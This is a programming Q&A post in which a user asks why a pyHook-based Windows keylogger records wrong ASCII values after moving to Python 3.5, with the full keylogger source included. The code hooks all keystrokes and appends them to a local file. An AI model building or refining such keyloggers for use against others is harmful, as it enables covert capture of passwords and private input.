Errors with pyhook on python 3.5 - python-3.5

Question

I am trying to write a keylogger using pyhook. Below is the piece of code.
I recently changed to py3.5 from py2.7. The code was working fine before migration.
After migration I am getting errors.
Everytime I press say "a" on keyboard, I get event.Ascii as 1(a = 1, b=2 and likewise) and not 97 (which is expected value).
If I insert a breakpoint and try debug mode, then I it works right as expected.
I am running on Win7-64 bit OS and using anaconda distribution package for python.
import win32api
import sys
import pythoncom
import pyHook
import os
from time import strftime, sleep
# ################################################################################
filename = r"E:\myfile.txt"
if os.path.isfile(filename):
f = open(filename, 'a')
f.write(strftime("\n\n%A, %d. %B %Y %I:%M%p\n\n"))
f.close()
else:
f = open(filename, 'w')
f.write(strftime("%A, %d. %B %Y %I:%M%p\n\n"))
f.close()
def OnKeyboardEvent(event):
try:
if event.Ascii == 5:
sys.exit()
elif event.Ascii != 0 or event.Ascii != 8:
keylogs = chr(event.Ascii)
elif event.Ascii == 13 or event.Ascii == 9:
keylogs = keylogs + '\n'
else:
pass
# write to a file
f = open(filename, 'a')
f.write(keylogs)
f.close()
except UnboundLocalError:
pass
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()